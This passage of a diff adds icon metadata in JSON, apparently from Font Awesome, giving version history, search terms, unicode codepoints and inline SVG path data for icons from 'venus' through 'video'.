32-14.33 32-32V96h192v32c0 17.67 14.33 32 32 32h32v192z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M512 128V32c0-17.67-14.33-32-32-32h-96c-17.67 0-32 14.33-32 32H160c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v96c0 17.67 14.33 32 32 32v192c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32h192c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32V160c17.67 0 32-14.33 32-32zm-96-64h32v32h-32V64zM64 64h32v32H64V64zm32 384H64v-32h32v32zm352 0h-32v-32h32v32zm-32-96h-32c-17.67 0-32 14.33-32 32v32H160v-32c0-17.67-14.33-32-32-32H96V160h32c17.67 0 32-14.33 32-32V96h192v32c0 17.67 14.33 32 32 32h32v192z" + } + }, + "free": [ + "solid" + ] + }, + "venus": { + "changes": [ + "4.3", + "5.0.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "female" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f221", + "label": "Venus", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635794, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 288 512\"><path d=\"M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V368H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80z\"/></svg>", + "viewBox": [ + "0", + "0", + "288", + "512" + ], + "width": 288, + "height": 512, + "path": "M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V368H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80z" + } + }, + "free": [ + "solid" + ] + }, + "venus-double": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "female" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f226", + "label": "Venus Double", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635794, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V368H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80zm336 140.4V368h36c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-36v36c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-36h-36c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h36v-51.6c-21.2-4.8-40.6-14.3-57.2-27.3 14-16.7 25-36 32.1-57.1 14.5 14.8 34.7 24 57.1 24 44.1 0 80-35.9 80-80s-35.9-80-80-80c-22.3 0-42.6 9.2-57.1 24-7.1-21.1-18-40.4-32.1-57.1C303.4 43.6 334.3 32 368 32c79.5 0 144 64.5 144 144 0 68.5-47.9 125.9-112 140.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V368H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80zm336 140.4V368h36c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-36v36c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-36h-36c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h36v-51.6c-21.2-4.8-40.6-14.3-57.2-27.3 14-16.7 25-36 32.1-57.1 14.5 14.8 34.7 24 57.1 24 44.1 0 80-35.9 80-80s-35.9-80-80-80c-22.3 0-42.6 9.2-57.1 24-7.1-21.1-18-40.4-32.1-57.1C303.4 43.6 334.3 32 368 32c79.5 0 144 64.5 144 144 0 68.5-47.9 125.9-112 140.4z" + } + }, + "free": [ + "solid" + ] + }, + "venus-mars": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Gender" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f228", + "label": "Venus Mars", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635794, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M564 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7C422.5 72.1 396.2 64 368 64c-33.7 0-64.6 11.6-89.2 30.9 14 16.7 25 36 32.1 57.1 14.5-14.8 34.7-24 57.1-24 44.1 0 80 35.9 80 80s-35.9 80-80 80c-22.3 0-42.6-9.2-57.1-24-7.1 21.1-18 40.4-32.1 57.1 24.5 19.4 55.5 30.9 89.2 30.9 79.5 0 144-64.5 144-144 0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.4 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12V12c0-6.6-5.4-12-12-12zM144 64C64.5 64 0 128.5 0 208c0 68.5 47.9 125.9 112 140.4V400H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.6 112-71.9 112-140.4 0-79.5-64.5-144-144-144zm0 224c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M564 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7C422.5 72.1 396.2 64 368 64c-33.7 0-64.6 11.6-89.2 30.9 14 16.7 25 36 32.1 57.1 14.5-14.8 34.7-24 57.1-24 44.1 0 80 35.9 80 80s-35.9 80-80 80c-22.3 0-42.6-9.2-57.1-24-7.1 21.1-18 40.4-32.1 57.1 24.5 19.4 55.5 30.9 89.2 30.9 79.5 0 144-64.5 144-144 0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.4 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12V12c0-6.6-5.4-12-12-12zM144 64C64.5 64 0 128.5 0 208c0 68.5 47.9 125.9 112 140.4V400H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.6 112-71.9 112-140.4 0-79.5-64.5-144-144-144zm0 224c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" + } + }, + "free": [ + "solid" + ] + }, + "vest": { + "changes": [ + "5.15.0", + "5.15.1" + ], + "ligatures": [], + "search": { + "terms": [ + "biker", + "fashion", + "style" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e085", + "label": "vest", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635795, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M437.252,239.877,384,160V32A32,32,0,0,0,352,0H320a24.021,24.021,0,0,0-13.312,4.031l-25,16.672a103.794,103.794,0,0,1-115.376,0l-25-16.672A24.021,24.021,0,0,0,128,0H96A32,32,0,0,0,64,32V160L10.748,239.877A64,64,0,0,0,0,275.377V480a32,32,0,0,0,32,32H192V288a31.987,31.987,0,0,1,1.643-10.119L207.135,237.4,150.188,66.564A151.518,151.518,0,0,0,224,86.234a151.55,151.55,0,0,0,73.812-19.672L224,288V512H416a32,32,0,0,0,32-32V275.377A64,64,0,0,0,437.252,239.877ZM131.312,371.312l-48,48a16,16,0,0,1-22.624-22.624l48-48a16,16,0,0,1,22.624,22.624Zm256,48a15.992,15.992,0,0,1-22.624,0l-48-48a16,16,0,0,1,22.624-22.624l48,48A15.993,15.993,0,0,1,387.312,419.312Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M437.252,239.877,384,160V32A32,32,0,0,0,352,0H320a24.021,24.021,0,0,0-13.312,4.031l-25,16.672a103.794,103.794,0,0,1-115.376,0l-25-16.672A24.021,24.021,0,0,0,128,0H96A32,32,0,0,0,64,32V160L10.748,239.877A64,64,0,0,0,0,275.377V480a32,32,0,0,0,32,32H192V288a31.987,31.987,0,0,1,1.643-10.119L207.135,237.4,150.188,66.564A151.518,151.518,0,0,0,224,86.234a151.55,151.55,0,0,0,73.812-19.672L224,288V512H416a32,32,0,0,0,32-32V275.377A64,64,0,0,0,437.252,239.877ZM131.312,371.312l-48,48a16,16,0,0,1-22.624-22.624l48-48a16,16,0,0,1,22.624,22.624Zm256,48a15.992,15.992,0,0,1-22.624,0l-48-48a16,16,0,0,1,22.624-22.624l48,48A15.993,15.993,0,0,1,387.312,419.312Z" + } + }, + "free": [ + "solid" + ] + }, + "vest-patches": { + "changes": [ + "5.15.0", + "5.15.1" + ], + "ligatures": [], + "search": { + "terms": [ + "biker", + "fashion", + "style" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e086", + "label": "vest-patches", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635794, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M437.252,239.877,384,160V32A32,32,0,0,0,352,0H320a23.982,23.982,0,0,0-13.312,4.031l-25,16.672a103.794,103.794,0,0,1-115.376,0l-25-16.672A23.982,23.982,0,0,0,128,0H96A32,32,0,0,0,64,32V160L10.748,239.877A64,64,0,0,0,0,275.377V480a32,32,0,0,0,32,32H192V288a31.987,31.987,0,0,1,1.643-10.119L207.135,237.4,150.188,66.561A151.579,151.579,0,0,0,224,86.234a151.565,151.565,0,0,0,73.811-19.668L224,288V512H416a32,32,0,0,0,32-32V275.377A64,64,0,0,0,437.252,239.877ZM63.5,272.484a12.01,12.01,0,0,1,17-16.968l15.5,15.5,15.5-15.5a12.01,12.01,0,0,1,17,16.968L112.984,288,128.5,303.516a12.01,12.01,0,0,1-17,16.968L96,304.984l-15.5,15.5a12.01,12.01,0,0,1-17-16.968L79.016,288ZM96,456a40,40,0,1,1,40-40A40,40,0,0,1,96,456ZM359.227,335.785,310.7,336a6.671,6.671,0,0,1-6.7-6.7l.215-48.574A24.987,24.987,0,0,1,331.43,256.1c12.789,1.162,22.129,12.619,22.056,25.419l-.037,5.057,5.051-.037c12.826-.035,24.236,9.275,25.4,22.076A24.948,24.948,0,0,1,359.227,335.785Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M437.252,239.877,384,160V32A32,32,0,0,0,352,0H320a23.982,23.982,0,0,0-13.312,4.031l-25,16.672a103.794,103.794,0,0,1-115.376,0l-25-16.672A23.982,23.982,0,0,0,128,0H96A32,32,0,0,0,64,32V160L10.748,239.877A64,64,0,0,0,0,275.377V480a32,32,0,0,0,32,32H192V288a31.987,31.987,0,0,1,1.643-10.119L207.135,237.4,150.188,66.561A151.579,151.579,0,0,0,224,86.234a151.565,151.565,0,0,0,73.811-19.668L224,288V512H416a32,32,0,0,0,32-32V275.377A64,64,0,0,0,437.252,239.877ZM63.5,272.484a12.01,12.01,0,0,1,17-16.968l15.5,15.5,15.5-15.5a12.01,12.01,0,0,1,17,16.968L112.984,288,128.5,303.516a12.01,12.01,0,0,1-17,16.968L96,304.984l-15.5,15.5a12.01,12.01,0,0,1-17-16.968L79.016,288ZM96,456a40,40,0,1,1,40-40A40,40,0,0,1,96,456ZM359.227,335.785,310.7,336a6.671,6.671,0,0,1-6.7-6.7l.215-48.574A24.987,24.987,0,0,1,331.43,256.1c12.789,1.162,22.129,12.619,22.056,25.419l-.037,5.057,5.051-.037c12.826-.035,24.236,9.275,25.4,22.076A24.948,24.948,0,0,1,359.227,335.785Z" + } + }, + "free": [ + "solid" + ] + }, + "viacoin": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f237", + "label": "Viacoin", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861027, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 32h-64l-80.7 192h-94.5L64 32H0l48 112H0v48h68.5l13.8 32H0v48h102.8L192 480l89.2-208H384v-48h-82.3l13.8-32H384v-48h-48l48-112zM192 336l-27-64h54l-27 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M384 32h-64l-80.7 192h-94.5L64 32H0l48 112H0v48h68.5l13.8 32H0v48h102.8L192 480l89.2-208H384v-48h-82.3l13.8-32H384v-48h-48l48-112zM192 336l-27-64h54l-27 64z" + } + }, + "free": [ + "brands" + ] + }, + "viadeo": { + "changes": [ + "4.6", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2a9", + "label": "Viadeo", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861027, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M276.2 150.5v.7C258.3 98.6 233.6 47.8 205.4 0c43.3 29.2 67 100 70.8 150.5zm32.7 121.7c7.6 18.2 11 37.5 11 57 0 77.7-57.8 141-137.8 139.4l3.8-.3c74.2-46.7 109.3-118.6 109.3-205.1 0-38.1-6.5-75.9-18.9-112 1 11.7 1 23.7 1 35.4 0 91.8-18.1 241.6-116.6 280C95 455.2 49.4 398 49.4 329.2c0-75.6 57.4-142.3 135.4-142.3 16.8 0 33.7 3.1 49.1 9.6 1.7-15.1 6.5-29.9 13.4-43.3-19.9-7.2-41.2-10.7-62.5-10.7-161.5 0-238.7 195.9-129.9 313.7 67.9 74.6 192 73.9 259.8 0 56.6-61.3 60.9-142.4 36.4-201-12.7 8-27.1 13.9-42.2 17zM418.1 11.7c-31 66.5-81.3 47.2-115.8 80.1-12.4 12-20.6 34-20.6 50.5 0 14.1 4.5 27.1 12 38.8 47.4-11 98.3-46 118.2-90.7-.7 5.5-4.8 14.4-7.2 19.2-20.3 35.7-64.6 65.6-99.7 84.9 14.8 14.4 33.7 25.8 55 25.8 79 0 110.1-134.6 58.1-208.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M276.2 150.5v.7C258.3 98.6 233.6 47.8 205.4 0c43.3 29.2 67 100 70.8 150.5zm32.7 121.7c7.6 18.2 11 37.5 11 57 0 77.7-57.8 141-137.8 139.4l3.8-.3c74.2-46.7 109.3-118.6 109.3-205.1 0-38.1-6.5-75.9-18.9-112 1 11.7 1 23.7 1 35.4 0 91.8-18.1 241.6-116.6 280C95 455.2 49.4 398 49.4 329.2c0-75.6 57.4-142.3 135.4-142.3 16.8 0 33.7 3.1 49.1 9.6 1.7-15.1 6.5-29.9 13.4-43.3-19.9-7.2-41.2-10.7-62.5-10.7-161.5 0-238.7 195.9-129.9 313.7 67.9 74.6 192 73.9 259.8 0 56.6-61.3 60.9-142.4 36.4-201-12.7 8-27.1 13.9-42.2 17zM418.1 11.7c-31 66.5-81.3 47.2-115.8 80.1-12.4 12-20.6 34-20.6 50.5 0 14.1 4.5 27.1 12 38.8 47.4-11 98.3-46 118.2-90.7-.7 5.5-4.8 14.4-7.2 19.2-20.3 35.7-64.6 65.6-99.7 84.9 14.8 14.4 33.7 25.8 55 25.8 79 0 110.1-134.6 58.1-208.6z" + } + }, + "free": [ + "brands" + ] + }, + "viadeo-square": { + "changes": [ + "4.6", + "5.0.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2aa", + "label": "Viadeo Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548364699932, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM280.7 381.2c-42.4 46.2-120 46.6-162.4 0-68-73.6-19.8-196.1 81.2-196.1 13.3 0 26.6 2.1 39.1 6.7-4.3 8.4-7.3 17.6-8.4 27.1-9.7-4.1-20.2-6-30.7-6-48.8 0-84.6 41.7-84.6 88.9 0 43 28.5 78.7 69.5 85.9 61.5-24 72.9-117.6 72.9-175 0-7.3 0-14.8-.6-22.1-11.2-32.9-26.6-64.6-44.2-94.5 27.1 18.3 41.9 62.5 44.2 94.1v.4c7.7 22.5 11.8 46.2 11.8 70 0 54.1-21.9 99-68.3 128.2l-2.4.2c50 1 86.2-38.6 86.2-87.2 0-12.2-2.1-24.3-6.9-35.7 9.5-1.9 18.5-5.6 26.4-10.5 15.3 36.6 12.6 87.3-22.8 125.6zM309 233.7c-13.3 0-25.1-7.1-34.4-16.1 21.9-12 49.6-30.7 62.3-53 1.5-3 4.1-8.6 4.5-12-12.5 27.9-44.2 49.8-73.9 56.7-4.7-7.3-7.5-15.5-7.5-24.3 0-10.3 5.2-24.1 12.9-31.6 21.6-20.5 53-8.5 72.4-50 32.5 46.2 13.1 130.3-36.3 130.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM280.7 381.2c-42.4 46.2-120 46.6-162.4 0-68-73.6-19.8-196.1 81.2-196.1 13.3 0 26.6 2.1 39.1 6.7-4.3 8.4-7.3 17.6-8.4 27.1-9.7-4.1-20.2-6-30.7-6-48.8 0-84.6 41.7-84.6 88.9 0 43 28.5 78.7 69.5 85.9 61.5-24 72.9-117.6 72.9-175 0-7.3 0-14.8-.6-22.1-11.2-32.9-26.6-64.6-44.2-94.5 27.1 18.3 41.9 62.5 44.2 94.1v.4c7.7 22.5 11.8 46.2 11.8 70 0 54.1-21.9 99-68.3 128.2l-2.4.2c50 1 86.2-38.6 86.2-87.2 0-12.2-2.1-24.3-6.9-35.7 9.5-1.9 18.5-5.6 26.4-10.5 15.3 36.6 12.6 87.3-22.8 125.6zM309 233.7c-13.3 0-25.1-7.1-34.4-16.1 21.9-12 49.6-30.7 62.3-53 1.5-3 4.1-8.6 4.5-12-12.5 27.9-44.2 49.8-73.9 56.7-4.7-7.3-7.5-15.5-7.5-24.3 0-10.3 5.2-24.1 12.9-31.6 21.6-20.5 53-8.5 72.4-50 32.5 46.2 13.1 130.3-36.3 130.3z" + } + }, + "free": [ + "brands" + ] + }, + "vial": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "experiment", + "lab", + "sample", + "science", + "test", + "test tube" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f492", + "label": "Vial", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635795, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M477.7 186.1L309.5 18.3c-3.1-3.1-8.2-3.1-11.3 0l-34 33.9c-3.1 3.1-3.1 8.2 0 11.3l11.2 11.1L33 316.5c-38.8 38.7-45.1 102-9.4 143.5 20.6 24 49.5 36 78.4 35.9 26.4 0 52.8-10 72.9-30.1l246.3-245.7 11.2 11.1c3.1 3.1 8.2 3.1 11.3 0l34-33.9c3.1-3 3.1-8.1 0-11.2zM318 256H161l148-147.7 78.5 78.3L318 256z\"/></svg>", + "viewBox": [ + "0", + "0", + "480", + "512" + ], + "width": 480, + "height": 512, + "path": "M477.7 186.1L309.5 18.3c-3.1-3.1-8.2-3.1-11.3 0l-34 33.9c-3.1 3.1-3.1 8.2 0 11.3l11.2 11.1L33 316.5c-38.8 38.7-45.1 102-9.4 143.5 20.6 24 49.5 36 78.4 35.9 26.4 0 52.8-10 72.9-30.1l246.3-245.7 11.2 11.1c3.1 3.1 8.2 3.1 11.3 0l34-33.9c3.1-3 3.1-8.1 0-11.2zM318 256H161l148-147.7 78.5 78.3L318 256z" + } + }, + "free": [ + "solid" + ] + }, + "vials": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "experiment", + "lab", + "sample", + "science", + "test", + "test tube" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f493", + "label": "Vials", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635795, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M72 64h24v240c0 44.1 35.9 80 80 80s80-35.9 80-80V64h24c4.4 0 8-3.6 8-8V8c0-4.4-3.6-8-8-8H72c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8zm72 0h64v96h-64V64zm480 384H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM360 64h24v240c0 44.1 35.9 80 80 80s80-35.9 80-80V64h24c4.4 0 8-3.6 8-8V8c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8zm72 0h64v96h-64V64z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M72 64h24v240c0 44.1 35.9 80 80 80s80-35.9 80-80V64h24c4.4 0 8-3.6 8-8V8c0-4.4-3.6-8-8-8H72c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8zm72 0h64v96h-64V64zm480 384H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM360 64h24v240c0 44.1 35.9 80 80 80s80-35.9 80-80V64h24c4.4 0 8-3.6 8-8V8c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8zm72 0h64v96h-64V64z" + } + }, + "free": [ + "solid" + ] + }, + "viber": { + "changes": [ + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f409", + "label": "Viber", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861027, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M444 49.9C431.3 38.2 379.9.9 265.3.4c0 0-135.1-8.1-200.9 52.3C27.8 89.3 14.9 143 13.5 209.5c-1.4 66.5-3.1 191.1 117 224.9h.1l-.1 51.6s-.8 20.9 13 25.1c16.6 5.2 26.4-10.7 42.3-27.8 8.7-9.4 20.7-23.2 29.8-33.7 82.2 6.9 145.3-8.9 152.5-11.2 16.6-5.4 110.5-17.4 125.7-142 15.8-128.6-7.6-209.8-49.8-246.5zM457.9 287c-12.9 104-89 110.6-103 115.1-6 1.9-61.5 15.7-131.2 11.2 0 0-52 62.7-68.2 79-5.3 5.3-11.1 4.8-11-5.7 0-6.9.4-85.7.4-85.7-.1 0-.1 0 0 0-101.8-28.2-95.8-134.3-94.7-189.8 1.1-55.5 11.6-101 42.6-131.6 55.7-50.5 170.4-43 170.4-43 96.9.4 143.3 29.6 154.1 39.4 35.7 30.6 53.9 103.8 40.6 211.1zm-139-80.8c.4 8.6-12.5 9.2-12.9.6-1.1-22-11.4-32.7-32.6-33.9-8.6-.5-7.8-13.4.7-12.9 27.9 1.5 43.4 17.5 44.8 46.2zm20.3 11.3c1-42.4-25.5-75.6-75.8-79.3-8.5-.6-7.6-13.5.9-12.9 58 4.2 88.9 44.1 87.8 92.5-.1 8.6-13.1 8.2-12.9-.3zm47 13.4c.1 8.6-12.9 8.7-12.9.1-.6-81.5-54.9-125.9-120.8-126.4-8.5-.1-8.5-12.9 0-12.9 73.7.5 133 51.4 133.7 139.2zM374.9 329v.2c-10.8 19-31 40-51.8 33.3l-.2-.3c-21.1-5.9-70.8-31.5-102.2-56.5-16.2-12.8-31-27.9-42.4-42.4-10.3-12.9-20.7-28.2-30.8-46.6-21.3-38.5-26-55.7-26-55.7-6.7-20.8 14.2-41 33.3-51.8h.2c9.2-4.8 18-3.2 23.9 3.9 0 0 12.4 14.8 17.7 22.1 5 6.8 11.7 17.7 15.2 23.8 6.1 10.9 2.3 22-3.7 26.6l-12 9.6c-6.1 4.9-5.3 14-5.3 14s17.8 67.3 84.3 84.3c0 0 9.1.8 14-5.3l9.6-12c4.6-6 15.7-9.8 26.6-3.7 14.7 8.3 33.4 21.2 45.8 32.9 7 5.7 8.6 14.4 3.8 23.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M444 49.9C431.3 38.2 379.9.9 265.3.4c0 0-135.1-8.1-200.9 52.3C27.8 89.3 14.9 143 13.5 209.5c-1.4 66.5-3.1 191.1 117 224.9h.1l-.1 51.6s-.8 20.9 13 25.1c16.6 5.2 26.4-10.7 42.3-27.8 8.7-9.4 20.7-23.2 29.8-33.7 82.2 6.9 145.3-8.9 152.5-11.2 16.6-5.4 110.5-17.4 125.7-142 15.8-128.6-7.6-209.8-49.8-246.5zM457.9 287c-12.9 104-89 110.6-103 115.1-6 1.9-61.5 15.7-131.2 11.2 0 0-52 62.7-68.2 79-5.3 5.3-11.1 4.8-11-5.7 0-6.9.4-85.7.4-85.7-.1 0-.1 0 0 0-101.8-28.2-95.8-134.3-94.7-189.8 1.1-55.5 11.6-101 42.6-131.6 55.7-50.5 170.4-43 170.4-43 96.9.4 143.3 29.6 154.1 39.4 35.7 30.6 53.9 103.8 40.6 211.1zm-139-80.8c.4 8.6-12.5 9.2-12.9.6-1.1-22-11.4-32.7-32.6-33.9-8.6-.5-7.8-13.4.7-12.9 27.9 1.5 43.4 17.5 44.8 46.2zm20.3 11.3c1-42.4-25.5-75.6-75.8-79.3-8.5-.6-7.6-13.5.9-12.9 58 4.2 88.9 44.1 87.8 92.5-.1 8.6-13.1 8.2-12.9-.3zm47 13.4c.1 8.6-12.9 8.7-12.9.1-.6-81.5-54.9-125.9-120.8-126.4-8.5-.1-8.5-12.9 0-12.9 73.7.5 133 51.4 133.7 139.2zM374.9 329v.2c-10.8 19-31 40-51.8 33.3l-.2-.3c-21.1-5.9-70.8-31.5-102.2-56.5-16.2-12.8-31-27.9-42.4-42.4-10.3-12.9-20.7-28.2-30.8-46.6-21.3-38.5-26-55.7-26-55.7-6.7-20.8 14.2-41 33.3-51.8h.2c9.2-4.8 18-3.2 23.9 3.9 0 0 12.4 14.8 17.7 22.1 5 6.8 11.7 17.7 15.2 23.8 6.1 10.9 2.3 22-3.7 26.6l-12 9.6c-6.1 4.9-5.3 14-5.3 14s17.8 67.3 84.3 84.3c0 0 9.1.8 14-5.3l9.6-12c4.6-6 15.7-9.8 26.6-3.7 14.7 8.3 33.4 21.2 45.8 32.9 7 5.7 8.6 14.4 3.8 23.6z" + } + }, + "free": [ + "brands" + ] + }, + "video": { + "changes": [ + "1", + "5.0.0", + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "camera", + "film", + "movie", + "record", + "video-camera" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f03d", + "label": "Video", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635797, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M336.2 64H47.8C21.4 64 0 85.4 0 111.8v288.4C0 426.6 21.4 448 47.8 448h288.4c26.4 0 47.8-21.4 47.8-47.8V111.8c0-26.4-21.4-47.8-47.8-47.8zm189.4 37.7L416 177.3v157.4l109.6 75.5c21.2 14.6 50.4-.3 50.4-25.8V127.5c0-25.4-29.1-40.4-50.4-25.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M336.2 64H47.8C21.4 64 0 85.4 0 111.8v288.4C0 426.6 21.4 448 47.8 448h288.4c26.4 0 47.8-21.4 47.8-47.8V111.8c0-26.4-21.4-47.8-47.8-47.8zm189.4 37.7L416 177.3v157.4l109.6 75.5c21.2 14.6 50.4-.3 50.4-25.8V127.5c0-25.4-29.1-40.4-50.4-25.8z" + } + }, + "free": [ + "solid" 